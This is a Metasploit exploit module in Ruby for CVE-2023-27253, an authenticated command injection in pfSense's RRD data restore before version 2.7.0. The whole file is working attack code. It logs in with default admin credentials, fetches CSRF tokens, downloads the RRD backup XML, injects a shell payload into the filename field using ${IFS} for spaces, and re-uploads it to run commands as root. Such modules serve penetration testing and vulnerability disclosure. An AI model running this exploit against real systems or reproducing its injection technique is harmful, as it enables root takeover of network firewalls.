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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::FileDropper
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'pfSense Restore RRD Data Command Injection',
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        'Description' => %q{
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          This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
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          pfSense prior to version 2.7.0 which allows an authenticated attacker with the  "WebCfg - Diagnostics: Backup & Restore"
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          privilege to execute arbitrary operating system commands as the "root" user.
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          This module has been tested successfully on version 2.6.0-RELEASE.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Emir Polat', # vulnerability discovery & metasploit module
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        ],
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        'References' => [
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          ['CVE', '2023-27253'],
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          ['URL', 'https://redmine.pfsense.org/issues/13935'],
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          ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
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        ],
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        'DisclosureDate' => '2023-03-18',
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        'Platform' => ['unix'],
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        'Arch' => [ ARCH_CMD ],
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        'Privileged' => true,
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        'Targets' => [
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          [ 'Automatic Target', {}]
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        ],
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        'Payload' => {
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          'BadChars' => "\x2F\x27",
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          'Compat' =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic netcat'
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            }
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        },
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        'DefaultOptions' => {
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          'RPORT' => 443,
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          'SSL' => true
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        },
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options [
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      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
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      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
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    ]
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  end
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  def check
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    unless login
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      return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
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    end
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
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      'method' => 'GET',
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      'keep_cookies' => true
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    )
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    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
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    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
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    unless res&.body&.include?('Diagnostics: ')
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      return Exploit::CheckCode::Safe('Vulnerable module not reachable')
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    end
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    version = detect_version
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    unless version
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      return Exploit::CheckCode::Detected('Unable to get the pfSense version')
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    end
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    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
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      return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
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    end
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    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
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  end
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  def login
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    # Skip the login process if we are already logged in.
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    return true if @logged_in
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    csrf = get_csrf('index.php', 'GET')
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    unless csrf
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      print_error('Could not get the expected CSRF token for index.php when attempting login!')
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      return false
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    end
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'index.php'),
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      'method' => 'POST',
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      'vars_post' => {
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        '__csrf_magic' => csrf,
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        'usernamefld' => datastore['USERNAME'],
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        'passwordfld' => datastore['PASSWORD'],
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        'login' => ''
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      },
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      'keep_cookies' => true
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    )
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    if res && res.code == 302
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      @logged_in = true
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      true
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    else
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      false
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    end
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  end
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  def detect_version
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'index.php'),
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      'method' => 'GET',
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      'keep_cookies' => true
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    )
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    # If the response isn't a 200 ok response or is an empty response, just return nil.
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    unless res && res.code == 200 && res.body
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      return nil
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    end
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    if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
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      nil
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    else
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      version
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    end
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  end
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  def get_csrf(uri, methods)
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, uri),
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      'method' => methods,
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      'keep_cookies' => true
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    )
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    unless res && res.body
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      return nil # If no response was returned or an empty response was returned, then return nil.
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    end
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    # Try regex match the response body and save the match into a variable named csrf.
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    if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
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      return nil # No match could be found, so the variable csrf won't be defined.
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    else
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      return csrf
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    end
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  end
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  def drop_config
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    csrf = get_csrf('diag_backup.php', 'GET')
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    unless csrf
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      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
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    end
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    post_data = Rex::MIME::Message.new
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    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
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    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
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    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
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    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
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    post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
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    post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
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    post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
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    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
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      'method' => 'POST',
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      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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      'data' => post_data.to_s,
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      'keep_cookies' => true
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    )
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    if res && res.code == 200 && res.body =~ /<rrddatafile>/
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      return res.body
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    else
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      return nil
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    end
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  end
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  def exploit
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    unless login
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      fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
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    end
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    csrf = get_csrf('diag_backup.php', 'GET')
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    unless csrf
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      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
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    end
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    config_data = drop_config
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    if config_data.nil?
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      fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
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    end
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    if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
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      fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
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    end
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    config_data.gsub!(' ', '${IFS}')
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    send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
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    post_data = Rex::MIME::Message.new
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    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
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    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
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    post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
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    post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
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    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
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    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
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    post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
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    post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
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    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
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    post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
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      'method' => 'POST',
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      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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      'data' => post_data.to_s,
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      'keep_cookies' => true
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    )
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    if res
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      print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
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    end
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  end
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end
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